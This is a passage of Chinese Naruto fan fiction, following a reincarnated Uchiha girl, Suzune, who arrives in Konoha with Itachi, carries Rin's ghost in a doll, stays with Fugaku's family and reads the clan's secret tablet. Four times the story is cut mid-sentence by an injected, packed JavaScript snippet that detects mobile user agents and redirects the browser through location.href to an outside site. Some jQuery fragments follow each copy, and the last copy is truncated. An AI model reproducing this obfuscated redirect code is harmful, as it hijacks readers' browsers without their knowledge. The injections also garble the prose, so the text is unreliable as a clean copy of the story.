“你认识的宇智波是什么样的?”铃音小声询问。 “笨拙、幼稚、总是迟到,但是偶尔也很可靠就是了……” 琳脸上流露出悲伤的神情,铃音不好深究,装作没看见,目光落在烤鸡上,“鼬,什么时候能吃啊?” “再等一会儿,马上就能吃了。” 铃音砸吧砸吧嘴,“好饿呀!” 终于,烤鸡好了,被鼬分成小块。 铃音捞起鸡腿刚咬一口,立马就被征服了。 “哇!好吃!” 一般来说,野外条件简陋,烤鸡很容易外面烤糊但里面还是生的。 但鼬烤出来的烤鸡完全不是这样。 鸡肉受热很均匀,外皮油亮,里面的鸡肉柔软多汁,混合着特殊调味料的香气,让人吃了还想吃。 铃音对鼬比了个油汪汪的大拇指,“鼬,你手艺真好!” 之前她还以为鼬是厨艺不怎么样才总吃兵粮丸,是她狭隘了。 相比铃音的狼吞虎咽,鼬吃东西的动作就斯文许多,一看就受过很好的教导。 面对铃音的夸奖,他也没有多余的情绪波动,反而谦虚说自己的手艺一般,比不上教他的止水。 “这份秘制调料也是止水替我准备的。” 止水? 这已经是铃音第二次听见这个名字了。 她一边吃肉一边询问,“你和那位叫‘止水’的同伴关系很好?” “嗯,我和他无话不谈……” 止水或许是这个世界上最理解他的人。 有他在,鼬觉得自己并不孤独。 铃音发出羡慕的感叹,“真好——我也想要无话不谈的挚友!” 她很小的时候就发现自己和村里孩子不一样。 明明她只是轻轻推他们一下,他们就会重重地摔倒在地,有时候还会受伤……那个时候她就意识到,自己的力量比普通人要大得多,稍不注意就会伤害到他们。 她渐渐就不太和村里的孩子们玩儿了。 凭借她这两天对鼬的观察,如果村里的孩子都是他这个水平,那她也就可以在木叶普通地和同龄人打闹玩笑,不用顾忌太多。 有种终于找到同类和组织的安心感。 不过她有些好奇,“你和止水比起来谁更强?” 鼬毫不犹豫便答道,“止水。” “止水他在第三次忍界大战的时候就开始带队执行任务了……” 强大又可靠,还能理性分析村子和宇智波的关系……这样的止水一直是他的憧憬的榜样。 “多亏有他指导,我才能这么顺利地从学校毕业。之后晋升中忍、加入暗部,也都离不开他的帮助。” 说起止水的时候,鼬整个人神采飞扬。 铃音感叹,“真好,我也想和他成为朋友!等到了木叶之后,记得介绍我们认识~” 希望到时候止水也会送自己烤肉秘制调料! 吃饱喝足,两人就歇下了。 第二天早上铃音一睁眼,就看见了半截身子从马车壁外探进来的琳。 但凡是个胆小的,早就被吓出心脏病了。 “鬼白天都不用躲起来吗?” “被太阳晒到确实会难受——不过待在你身边就没问题,我觉得自己现在的状态比过去几年都好。” 琳也觉得奇怪。 她死后再醒来就成了地缚灵,灵魂一直在丧命之地无法离开,但昨天她被铃音拉着轻而易举离开了那个地方。 琳还以为随着灵魂力量变弱,她身上的束缚也消失了,经过一晚的摸索,她意识到自己只能在铃音周边两米区域活动。 铃音代替死亡之地成了新的锚点,一个活着的锚点。 琳把这些发现告诉了铃音。 “今后你都会一直跟着我?!”铃音惊呼出声。 虽然她不怕鬼,但一想到今后不管自己做什么都有一只鬼魂注视着,还是会觉得别扭。 “大概等执念消除,我就会成佛离开吧?” “所以你的执念是?” 琳回想起死前的最后一段记忆。 那时的她被一群雾忍掳走,封印了三尾在体内。 卡卡西虽然把她救了出来,却没办法解除她体内的尾兽威胁。一路上雾忍们还故意把他们往木叶的方向逼,想利用三尾的暴走袭击村子。 当时她被下了咒印无法自裁,只好主动迎上卡卡西的攻击,借此保护村子。 她到现在也不觉得自己当初做错了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427008|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但对于卡卡西来说,这么多年,她一直欠他一句抱歉。 亲手解决掉自己的同伴什么的——都是自己让他背负了如此沉重的命运。 “如果有机会见到卡卡西的话,我希望能对他说一声对不起。” “哇……为什么要让我听这种悲惨的故事!”铃音被感动得放声大哭起来。 “我一定会帮你找到卡卡西的!” 可找到卡卡西之后要怎么说明? 难道说她是琳的转世?还是说琳托梦给她?又或者假装被琳的鬼魂上身? 要是有办法能让普通人也能看到鬼魂就好了。 烦躁地抓挠几下头发,铃音脑中突然灵光乍现,开始翻箱倒柜,从木箱里找出自己缝的布玩偶娃娃。 凭借感觉摸索,铃音将琳的灵魂和布娃娃缝合在一起。 就像给灵魂穿上衣服、就像给布偶塞棉花填充——琳的灵魂被她装进了布偶娃娃里。 冥冥中有个声音告诉她可以这样做。 这大概就是恶魔果实的力量? 琳一开始也不知道铃音是想干嘛,但后面就渐渐感觉到自己和布偶娃娃连接到一起,有了实感。 她挥舞着软趴趴的小手小脚,虽然很不习惯,但重新拥有身体的感觉还是很开心。 “这样我就能自己当面和卡卡西道歉了!” 一整个白天,铃音就带着琳附身的小玩偶出现在鼬的面前。 “鼬,快看!她就是我昨天提到的鬼魂——” 玩偶琳也挥挥手打招呼,“你好,我叫野原琳,很高兴认识你!” 鼬眼中闪过疑惑,忍住用写轮眼探查铃音身体的冲动,“你的傀儡术,是谁教给你的?” “才不是傀儡术!鼬你这个笨蛋……都说是亡灵了!” “她叫野原琳,原本是木叶中忍,9年前在战争中牺牲……” 鼬对傀儡忍者的了解有限,但忍界确实流传着详细设定傀儡的身份和性格能让傀儡操纵更加得心应手的说法。 不少傀儡师甚至会借用现实中存在过的人物信息来丰富傀儡的人设。 在他看来,现在就是这么个情况。 接下来的路程,铃音一直试图纠正鼬的错误猜测。 但因为没有可靠有力的证据,反而被鼬怀疑是妄想症加重,回到木叶的第一时间就把她拉去了木叶医院检查。 “都说我没病了!”捂着被抽走好几管血的手臂,铃音都快被折腾得没脾气了。 戴眼镜的医疗忍者皱眉看着检查报告,“报告显示一切正常……但并不排除患妄想症的可能,也许是心理层面出现的问题,先吃点药看症状会不会有好转,之后定期来医院复查……” 来木叶的第一天,铃音就喜提一袋子苦药丸。 之后再也不跟任何人说自己能看见鬼了,以免他们把自己送进精神病院。 “我带你去见族长……”刚出医院,鼬的话还没说完,一只忍鸦从高空俯冲下来。 忍鸦急躁地拍打着翅膀,“嘎嘎”地叫着,鼬听完立即变了脸色。 “抱歉,我现在有点急事——你能自己去找族长吗?我会留下忍鸦帮你指路的!” 相处了这么些天,铃音还是第一次见鼬情绪外泄,露出这么不淡定的神色,应该是遇见大事儿了。 “可以啊。” 铃音朝他摆手,“不用管我,你快去吧!” 反正都到木叶了,她难道还会遇见什么危险不成。 5. 木叶见闻 鼬留下忍鸦之后便跃上屋顶,飞快消失在视野里。 停在手臂上的忍鸦人性化地歪头,“嘎?” 似乎在催促铃音快走。 乌鸦果然是种很聪明的动物! 铃音在乌鸦的提示下驱使马车。 琳也很多年没回过村子了,有一搭没一搭地和她聊着。 “我记得这片区域当初住的都是宇智波。我还经常在附近等同伴。” “这附近还有家很好吃的烧饼店,每次执行任务前我都会特意买些囤着在路上当干粮……” 战后八年,木叶虽然还留有一些当初的痕迹,但变化更多,让琳觉得陌生,介绍的语气也不由得低落下来。 “那家店现在不在这儿了,或许是换了地址吧……” 铃音也没有深究的意思,转而提议,“琳,要不我们现在先去找卡卡西?你应该很想早点儿见到他吧?” “你还记得他家在哪儿吗?” 听见这话,琳立刻就从铃音肩膀上跳了起来,整只玩偶都有些不知所措。 “等等……不用那么快,我现在还没想好要怎么和他说。” 越是靠近木叶,她就越有种近乡情怯的感觉。 她还需要点儿时间。 “哦,是吗——”铃音也就是随口一提,“反正都回木叶了,今后总有机会的。” 话说木叶真的和她想象中完全不一样呢。 她以为这里顶多也就更繁荣更热闹一点儿而已。 没想到这里已经繁华到跨时代了——街道搭设着电线杆,路上时不时会出现自动贩卖机。 那她在渔村晚上点蜡烛照明的那些年算什么? 算她有情调吗? 有种被时代发展落下的感觉。 铃音看什么都觉得新奇,四处东张西望。 “这里是火影大楼。”琳指着一栋圆形的建筑介绍道。 铃音听鼬提过,木叶的火影相当于村长,火影大楼相当于村子行政中心。 “那里是历代火影的雕像——”琳指着远处的影岩壁,目光落在最后的那个头像处,“我死的时候四代火影还没上任,他的雕塑好像水门老师……” “不过我听说现在掌权的是三代火影……” 铃音的话突然顿住。 她看见了什么!!! 不远处的书店挂着显眼的宣传横幅。 “自来也老师最新热销作品《亲热天堂》精装版到货,本店数量有限售完即止!” 这个木叶她果然来对了! 自来也老师就是《坚强毅力忍传》的作者。 多年前她从行商手里买到的那本书,看了之后惊为天人。 她被书当中描绘的那个惊险刺激跌宕起伏的忍者世界所吸引,被主角的坚韧不拔的意志所折服,故事读完仍旧意犹未尽。 她一直想找自来也老师的其他作品来看,没想到刚来木叶第一天,这个愿望就能实现了,她简直太幸福了! 铃音当即就留下琳和乌鸦帮忙看马车,自己钻进书店排队买书。 排队抢购这本书的人很多,如此热销,想来一定是比《坚强毅力忍传》更优秀的作品,铃音真的有些迫不及待了。 还没等她拿着书去前台,就被书店的店员阻止了。 店员指着封面的“18r”几个大字,“这书不是你这个年纪的小鬼该碰的东西……” 他转身从书架上取了本《桃太郎》,换走铃音手里的精装版《亲热天堂》,推了一把,“到旁边看去。” 铃音把《桃太郎》扔回去,“谁要看这种幼稚的书啊!” 店员不耐烦地往铃音怀里塞了本《竹取物语》,“这样总行了吧!” “可恶!”铃音把《竹取物语》也扔了回去。 一无所获的她恶狠狠地瞪着其他成功买到《亲热天堂》的顾客。 虽然她现在身体才十岁,但加上上辈子活的岁数,心理年龄早就满18了。 这个世界就没什么她不能读的书!凭什么不让她买! 总而言之,她今天必须看到自来也老师的新书! 趁着店员忙碌的功夫,铃音从书架上取了本《亲热天堂》,躲在角落偷偷翻看起来。 “soga,soga,原来这本书讲的是爱情故事……” 老师一定是想通过这段爱情来探讨更加宏大的人生话题。 “嗯?!等等……” 怎么突然就这么发展了?! 铃音脸颊发烫,小脸绯红,合上书,不敢相信自己刚刚看见了什么。 盯着作者名旁边的“18r”,铃音有种见到清新偶像下海赚钱的荒谬感。 自来也老师您糊涂呀! 这些年生活究竟对您做了些什么!让您堕落至此! 明明可以靠好好写故事赚钱,却非要加那些口口口口,这简直就是对文学的玷污啊!!! 思考再三,铃音得出结论,一定是编辑为了销量逼自来也老师添加了这些让人血脉偾张的口口片段!自来也老师是无辜的! 不过撇开那些口口口口的部分,整个故事还是很有意思的。 铃音重新打开书,决定把剩下的部分读完。 一双手从她头顶穿过,夺走了她手上的《亲热天堂》。 “等等!结局我还没看完!”铃音跳起来抢书。 下半张脸戴面罩的银发男人用精装版的硬壳轻敲下她脑袋,“这不是你能看的书。” 啊啊,又是那句话。 “对对,喜欢看这本书的估计都是你这种好色的大人。” “你是自己也知道看这种书羞耻,所以才故意戴面罩遮脸吗?” “沉迷这种书小心找不到女朋友哦——” 铃音嘲讽完覆面系银发忍者就立刻飞快跑出书店。 身体本能告诉她这个人很厉害,站在原地会被他收拾的。 见她匆匆忙忙跑过来,又立马就驾车离开,琳询问情况,“发生什么了?” “没什么……有些晚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427009|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是赶紧去族长家报到比较好。” 穿过繁华的商业街,按照忍鸦的指示马车越走越偏远,越走越荒凉,铃音才终于看到不少绘有宇智波族徽标志的建筑。 或许是族地位置偏远的缘故,族人们的房屋布局大都很宽松,都是带院子的一户建形式,独门独栋,比起村中心拥挤压抑的民居楼看着要好多了。 沿路遇见不少宇智波的族人,因为很少见陌生人,他们对铃音都很在意,纷纷用目光探究她的来历。 铃音将马车停在族长的院子前,带着刚才在路上顺便买的伴手礼敲响族长家的大门。 宇智波一族现任的族长名叫宇智波富岳,长着一副严肃的国字脸。 “不是应该鼬护送你回来吗,你怎么一个人?” “啊,”铃音准备打哈哈糊弄过去,以免族长觉得鼬不负责,“我跟他说想自己在村里转转,就让他先离开了~” “他应该是先回家了吧……” 宇智波富岳皱眉,“这里就是他家。” 铃音:…… 完蛋,不该说最后那句话! 鼬那家伙也真是,自己就是族长家的儿子这种情报倒是提前说啊! 好在富岳族长也没抓着这点儿小事不放,继续别的话题,“秋葉已经在信上把你的情况都跟我说了。你的入学手续我也已经让人帮你办好了,毕业前这段时间你就先住在我们家吧。” “你先收拾行李,等晚上族中集会时我把你介绍给族人认识。” 铃音从善如流点头,将行李都搬进二楼客房。 家里的女主人叫宇智波美琴,是位非常温柔和善的女性。 客房是她提前收拾出来的,还布置了梳妆台、穿衣镜、衣柜等家具摆设,床上四件套也是特意选的浅粉色,看起来十分柔和温馨。 “有什么不习惯的都可以跟我说……我看你没有带多少衣物,要不要我明天带你去村子里添置一些?” “好啊好啊!”铃音立刻应和。 她在村子里还没什么朋友,鼬那个家伙肯定也不会陪她逛街买衣服,能有个长辈带着熟悉村子再好不过。 美琴阿姨下楼准备晚饭,铃音留在房间继续整理行李。 “啊啊,真没想到鼬居然是族长的孩子……我以为‘少族长’都是前呼后拥被整个家族守护起来的存在。” “哈哈哈哈哈你说的那个是什么?大名还差不多吧!”反正琳没在木叶见过养尊处优的“少族长”。 “如果我父亲是族长,我估计会到处炫耀的……” 琳点头赞同,“确实是你的风格……鼬估计是想低调行事。” “而且任务过程中称呼职务也没什么问题吧……不然鼬跟你说‘你先回我家和我父亲见一面’也很奇怪。” “哈哈哈哈,确实!” 将行李整理完,铃音出了房间,就见楼梯拐弯处探出来颗脑袋。 小少年用黑黝黝的大眼睛打量她,声音嫩生生的,“你是谁,为什么在我家?” 6. 神社石碑 刚才铃音已经听美琴阿姨介绍过,她和富岳族长育有二子。 长子宇智波鼬,今年十二岁,中忍,目前在暗部供职。 次子宇智波佐助,即将满七岁,忍者学校一年级学生。注[1] 七岁的小佐助比铃音矮了一个头,看起来懵懂又可爱,铃音难免生出了几分逗弄的心思。 “小佐助你好呀,我叫铃音——是你哥哥的未婚妻!” 人在木叶,身份是自己给的。 果不其然,佐助眼睛猛地瞪大,露出一副意外震惊的表情。 “诶?” 父母只跟他讲有位姐姐会住进他们家,根本没提这位姐姐会是哥哥未婚妻啊! “哥哥今年不是才十二岁吗?结婚不会太早了吗?” 铃音一点儿不心虚,继续睁着眼睛说瞎话,“嗯嗯,现在只是先定下婚约而已,等我们都成年后才会举办正式的婚礼。” 佐助本能觉得不对,怀疑这话的真实性。 “真的?” “真的真的!” 铃音转头偷笑,小佐助怀疑人生的样子真的太有趣了。 “不然为什么你父亲会让我住进你家?” 佐助沉默。 确实。 族中也有父母双亡的族人,父亲作为族长也没让他们住进家里。 能住进他们家,这背后的原因肯定不简单。 他还思索着,铃音又继续添油加醋,“当然是为了我和鼬能好好培养感情呀~” 实际上,只是因为铃音在村子里暂时没有住处而已。 她母亲在村子里原本是有房产的,只是几年前九尾袭村的时候被毁掉了,后面宇智波一族集体搬迁至村子外围,也没人帮忙另外修建房屋。 所以回村的铃音自然只能暂时住在族长家—— “我们俩今后也要好好相处哟~”说这话时,铃音还顺手揉了一把佐助的头发, “我才不要!” 佐助鼓着脸一把推开铃音的手。 本来哥哥进了暗部之后就忙到连陪他的时间都没有,现在还多出来个陌生的“未婚妻”和自己抢哥哥……他才不要!!! 看着佐助“噔噔噔”跑下楼,身影消失在视野里,铃音才终于放开声笑出来。 “琳你看见了吗,刚才佐助那副震惊的表情真的好萌好可爱哈哈哈哈……” 琳趴在她肩膀上,脸上的表情皱成一团,“小佐助看上去当真了,你撒这样的谎不好吧……” “嘛嘛,这种事等之后解释清楚就行了……”铃音没多在意,“除了佐助那小孩子,根本没人会信这么离谱的话吧~” “你这样造谣诋毁鼬的名声,你确定他不会找你算账吗?”莫名其妙多了一个未婚妻什么的。 铃音脸上的笑容戛然而止,“诶——怎么能说我是在诋毁!我这明明是帮他教育佐助今后不要轻信其他人……他应该不会那么小气吧!” “就是开个玩笑而已——” “那你就祈祷鼬也这样想吧!” 铃音心里有点儿没底,都想主动跟鼬承认错误了。 结果当天鼬没有回家吃晚饭。 她松了口气。 今晚的晚餐,香煎竹荚鱼是主菜,搭配炸虾天妇罗、香浓的裙带菜豆腐味增汤和各色小菜,看起来精致又丰盛。 “哇,看起来好好吃!” 玩偶琳发出感叹。 这也是铃音和她商量好的结果。 今后要是只能在人后和琳说话,会很麻烦,倒不如干脆坐实“傀儡师”这个身份。 “这是我的傀儡,能够像人一样说话……很有趣吧~”铃音对餐桌上的另外三人介绍道。 “哼——”佐助偏头,似乎对玩偶不感兴趣。 “嗯,很可爱哦。”美琴夸赞道。 族长则板着脸,“你喜欢研究傀儡倒也没什么,只是那些终究是旁门左道……重心还是该放在写轮眼的开发运用上。” “嗯嗯,我知道。”铃音忙不迭点头,反正“傀儡师”就是个掩护的借口而已。 好像就这样糊弄过去了? 铃音彻底放松下来,享受晚餐。 美琴阿姨做的料理不仅精致好看,还很美味! 炸虾天妇罗食指长度那么一大只,尾巴靠在一起垒成尖顶模样。 蘸上秘制的黄芥末酱汁,首先感受到的是酥脆的外壳,接着浓郁的酱汁和虾肉的鲜味混合,弹牙的虾肉在嘴里跳跃,滋味实在让人着迷。 香煎竹荚鱼形状完整,有淡淡的柠檬香气,鱼肉香味浓郁、油脂丰富,也很美味。 裙带菜鲜嫩爽滑,豆腐柔嫩清淡,两者一起在米色的味增汤里浮浮沉沉,一口气喝光再畅快不过。 搭配着鲜甜清爽的盐渍小菜,铃音添了三次饭。 佐助则时不时瞧几眼铃音和父母,一副欲言又止的模样,竹荚鱼的身体都快被他戳烂了。 铃音吃饱后就坐那儿跟他开玩笑,“你哥哥平时都不回来吃晚餐吗?真是个不良少年呢~” 佐助听不得别人诋毁哥哥,当即便反驳,“尼酱才不是不良少年!今天没回来肯定是因为工作!” 说完他还恶狠狠地瞪铃音,“你不准乱说!” 铃音举手投降,“好好!刚才的都是我在乱说行了吧,你哥哥是世界上最棒的哥哥。” 晚饭过后,铃音跟着族长富岳出了门。 两人一前一后走着,夜色是最好的掩护,七拐八绕,终于到了一处神社。 神社晚上很冷清,周围也很安静,能听见附近河流的声音。 “这里是我们宇智波一族的神社,木叶还没建村的时候它就在这里了。” 神社周围有几名同样穿着宇智波服饰的族人把守,见到他们纷纷点头示意。 宇智波富岳也点了点头,带着铃音进了神社本堂。 神社本堂很空旷,没多少摆设,但见富岳族长操作了几下,从里往外数第七块榻榻米便咔咔打开,出现条向下的秘密通道。 玩偶琳小声跟铃音耳语:“之前我也来过南贺神社,没想到里面还别有洞天。” 密道通向的地下室不大,铺着红木地板,最前方立着块石碑,左右各燃着一团火,背后墙壁绘着宇智波族徽。 “这里是我们宇智波一族才知道的密室,石碑上是我们一族重要的传承内容。” “等你以后觉醒了写轮眼,就能看明白石碑上的内容……你变得越强,从石碑上获得的启示也就越多。”宇智波富岳介绍道。 铃音看向石碑。 石碑上是一些乱码字符,确实看不出些什么。 只是随着她盯得时间变长,这些乱码字符也开始变换,组成一些她能看懂的文字。 明明她还没有觉醒写轮眼。 出现的文字是关于写轮眼的。 上面说宇智波一族人在受到强烈情感刺激便会开眼,逐步觉醒单勾玉,双勾玉,三勾玉乃至万花筒写轮眼。 等她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427010|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,文字便渐渐消失,浮现出新的内容。 新的文字则讲述宇智波和千手两族数年争斗的历史,最后提及融合千手、宇智波,能够获得终极至高的强大力量?。 这石碑的意思难道是让宇智波一族和千手一族通婚? 还没等铃音想明白,石碑上的文字再次消失,又开始浮现新的内容。 “能看到这些内容的后辈,就是被选中的命运之子,他将会给忍界带来彻底的变革。” “只有发动无限月读,才能改变世界,带来真正的和平。”注[2] 铃音皱眉思索。 改变整个忍界,带来真正的和平? 命运之子? 谁? 我吗? 是不是太草率了? 话说无限月读又是什么? 石碑上的文字再次消失。 还会出现新的内容吗? 她还没等到答案,先被琳拉回了现实。 琳戳戳她脸颊,示意她有人过来。 一名年长宇智波走到他们这边,瞥了一眼她,询问富岳,“她是谁?” “这是宇智波秋葉的孩子……趁这次集会开始前让大家认识一下。” “秋葉啊——我记得她天赋挺好,还觉醒了三勾玉?” “红色头发,难道另一半是漩涡一族的后裔?” “不,听说就是一个普通人。” 众所周知,和外人通婚会冲淡血脉力量,生出天赋低的孩子。 忍者世界,武力值代表一切,像铃音这样的混血一开始就被他们打上了“次等”的标签。 “普通人啊,那今后会很辛苦吧……” 宇智波八代看向铃音,叹息道,“确实可惜了~” 铃音默默听着,仿佛他们同情的对象不是自己。 天赋差、难以觉醒写轮眼什么的……完全没有意义啊。 毕竟她都是命运之子了。 将会给忍界带来彻底的变革……只要她掌握了无限月读。 不过话说回来,无限月读是什么来着? 完全没听说过啊。 鼬会知道吗?回去问问他好了。 族人们那边很快谈论起其他话题。 “警务部二队那群人最近总把一些鸡毛蒜皮的小事推给我们一队……” “我们需要的药材他们总是最后才送来,感觉连奈良这样的小家族也能骑在我们头上……” “说起来,鼬怎么没和族长一起过来?” “止水也是,上次集会也是很晚才到。” 其他的族人当即便有些不满,“他们两个搞什么,明明是这么关键的时期。” “一个两个都是,觉得自己是天才所以连族里的命令都不听了。” “我看族长当初就不该允许他们去木叶暗部——” 听着族人们讨论的内容,铃音后知后觉意识到——莫非宇智波在村子的处境很微妙? 铃音还想探听更多内容,结果时间一到就被族长支了出去。 正式集会只有宇智波的精英忍者能参加,她这种连写轮眼都没觉醒的族人当然不能在场。 铃音原本也没多想参加——这个集会估计也就是中年不得意大叔们聚在一起发牢骚的吐槽大会罢了……可被赶出来之后,心里面越想越气。 她边走边踢石子,“什么嘛!这是赤裸裸的歧视!” “凭什么不让我参加?我可是命运之子,有什么是我不能知道的!” 7. 谎言暴露 有什么是她不能知道的吗? 那可太多了! 就比如宇智波精英忍者们此时正在讨论的内容。 “如今的情况,我们宇智波跟被监禁的牢犯有什么区别!” “如果不反抗,今后恐怕连容身之地都没了!” 在他们看来,宇智波一族前几十年一直本本分分试图融入村子,会走到如今这步,都是村子逼的。 如今千手一族人丁凋零,日向一家专制守旧,猿飞和志村一族实力不济——只有他们宇智波一族瞳术强大、天赋过人、人才辈出。 或许也是因为这样,宇智波成为了众矢之的,被村子排斥。 在意识到村子不会允许宇智波成为火影后,宇智波富岳选择了曲线救国,转而支持对宇智波没有偏见的平民忍者波风水门上位。 波风水门也如他所愿当上四代火影,着手开始缓和宇智波与村子的矛盾,一切都在向着好的方向发展——偏偏又发生了九尾袭村事件。 脏水泼到宇智波身上,跳进南贺川都洗不干净。 那些人甚至为此想好了理由,波风水门当选火影,宇智波一族心怀不满蓄意报复。 说到底,村子里那些人从来就没真正信任过他们。 被冤枉和排斥的憋屈不仅没有消散,反而因为这些年的打压和轻慢进一步发酵,变成了对村子的迁怒和恨意。 罢了,强大的宇智波不需要别人的理解和认可,用武力让他们臣服就好了。 “与其坐以待毙,倒不如先下手为强!”这是在场宇智波的共同想法。 “只有反抗,才能真正改变我们宇智波的处境!” 宇智波富岳有条不紊安排族人准备起义。 “村里一直有暗部成员监视我们,采购忍具、药品须得行事小心,正式行动前务必保密。” 精英宇智波们热火朝天讨论详细行动方案时,玩偶琳正在安慰赌气的铃音。 “嘛~嘛~你别气了!” “你刚回村子,年纪又小,他们不信任你也情有可原。” “今天早点回去休息吧,不是说好明天出去逛街买衣服吗?” 也是,参加集会这事儿不必急于一时。 反正她今后都会待在木叶,有足够时间慢慢来。 铃音老实上床休息。 被子和床垫不久前被晾晒过,柔软蓬松,她躺上去没一会儿就睡着了。 野外赶路这些天,她要么蜷缩在狭窄的车厢空隙里,要么就幕天席地被地面硌得难受,难得睡上这么一个好觉。 第二天铃音整个人容光焕发,吃过早饭,便跟着美琴阿姨一起出了门。 “族地也有族人擅长做衣服,但不如村子里的商店款式新颖、样式多……”宇智波美琴介绍道。 村里商店的衣服款式果然很多样,简单T恤短裤、复古和服、时尚拉链衬衫、高开叉旗袍风裙子……让铃音大开眼界。 店里模特身上穿的裙装搭配深色打底裤和绑腿飞镖套,是女性忍者的经典搭配之一。 铃音对服装没什么要求,随便挑了几套就去结账。 美琴阿姨一开始还想帮铃音付钱,在她的坚持下才作罢。 接着,铃音又被带去了一家忍具店。 “想添置什么忍具都可以来这里,这里的武器样式比较齐全。” 店里确实刀枪剑戟什么样的忍具都有,不同款式的苦无、手里剑、卷轴各自占了一整个货架。 店里不光有这些忍具,还有放置这些忍具的腰包、飞镖套等。 店门两侧的模特身上还穿着男女款的半透明渔网装。 铃音有些好奇,走过去看了眼价格,顿时倒退两米——好贵! 一件上衣就得二十万两,金子做的吗! “铃音你对这个感兴趣?”美琴询问。 “不不,我对这个渔网装没有兴趣。” “啊,确实很像渔网……但它其实是锁子甲啦,防身用的。” 啊~原来是这样。 所以才会在忍具店卖! 她还以为穿渔网装做内搭是木叶这个大城市特有的时尚风格 :) “不过你还太小,穿锁子甲会给身体带来负担……等以后你从忍校毕业,我倒是可以送你一套。” “不用不用——”铃音连忙拒绝,“我刚才就是好奇而已。” 之后两人又一起去了村里的生活超市、花店和甜品店。 甜品店样式并不多,主打产品是三色丸子和酱油丸子。 “老板,麻烦来两盒酱油丸子,两盒三色丸子,还有一盒两种味道混合。” 店家打包好之后,美琴阿姨将混合口味的那盒给了铃音,“你第一次吃他家的丸子,可以试试看更喜欢哪一种。” 铃音捏起竹签,吃了一颗三色丸子。 圆圆滚滚的三颗小丸子颜色清淡,口感软糯弹牙,滋味有些许小的差别。 粉色的带着香甜的草莓果香,清甜适口;绿色的微苦回甘,口味淡雅;白色的则最能感受到米香。 而酱油丸子的滋味则大相径庭,口味甜咸交织,口感更加弹牙。 “即便是亲兄弟,口味偏好也会不同……鼬喜欢吃三色丸子,佐助则更喜欢酱油丸子。” 铃音回味了一下,“我倒是都挺喜欢的……非要比较的话,我选三色丸子,口味更丰富。” 两人带着东西先回了一趟家,之后铃音借口想熟悉村子又出了门。 路上,琳为她科普村子的基本情况。 据琳描述,木叶的势力主要分为上五家和下五家。注[1] 木叶建村之初,千手一族和宇智波一族握手言和,联合日向、猿飞和志村三个忍者家族,创建了最初的木叶隐村,这几个元老家族便是所谓的“上五家”。 上五家在木叶有着举足轻重的地位,前三代火影均出自上五家。 木叶建村后,一些小的忍者家族前来投奔加入,组成了下五家,山中、奈良、秋道、犬冢、油女,代号分别为“猪”“鹿”“蝶”“犬”“虫”。 下五家都有各自的家族秘术,加上族人众多、产业颇丰,同样是村里不可小觑的存在。 而像琳这样非忍者家族出身的平民忍者,通常也会因为师承被划入不同的阵营。 “嘛,这些内容都是好久以前的了……我去世也快十年,局势或许早就改变了。” 现在宇智波的处境和琳的描述出入挺大的,这当中应该发生过些事儿。 铃音一进木叶就被绑在宇智波这艘大船上,自然不希望宇智波处境糟糕,准备之后找机会搞清楚这当中的缘由。 这会儿她们出门主要是为了去找卡卡西。 琳去过卡卡西家,知道大概方位,站在铃音肩膀上指方向。 可惜木叶这些年变化太大,农田变成街道,房子被推倒重建——早就没了当初的影子。 “照理说应该就是这里……” 一人一鬼兜兜转转好半天,最后停在一个有儿童游乐设施的公园旁。 琳倒是很能看得开,“嘛,我早就猜到可能会是这样的结果了。” 铃音从高高的攀爬架上跳下,拐进一家杂货店。 杂货店的老板看上去五六十岁,头发花白,戴着副老花眼镜读报纸。 “老板,你知道旁边公园位置原本住着的那家人搬去哪儿了吗?” 杂货店老板把老花眼镜往下拉,目光从镜框上方投射过来,“你是谁?打听这些干什么?” “我是他远方亲戚啊!最近正好刚来木叶,就准备过来拜访一下而已!” 老板翻动报纸,一副不想搭理人的样子,“谁知道你说的是真是假。” “当然是真的!我这门亲戚姓旗木,家里就我一个天赋特别好的远方表哥。” 铃音在杂货店扫了一大堆感兴趣的便宜零食付款。 杂货店老板态度一下就变了,笑容洋溢,“原来是这样啊……这里原本确实住着一个旗木家的小子,那小子厉害了,据说在村子里当忍者挣大钱呢!” “自从房子拆迁后他就没回来过,估计是搬去村中心了吧……” 得到这些情报,铃音准备明天再去火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 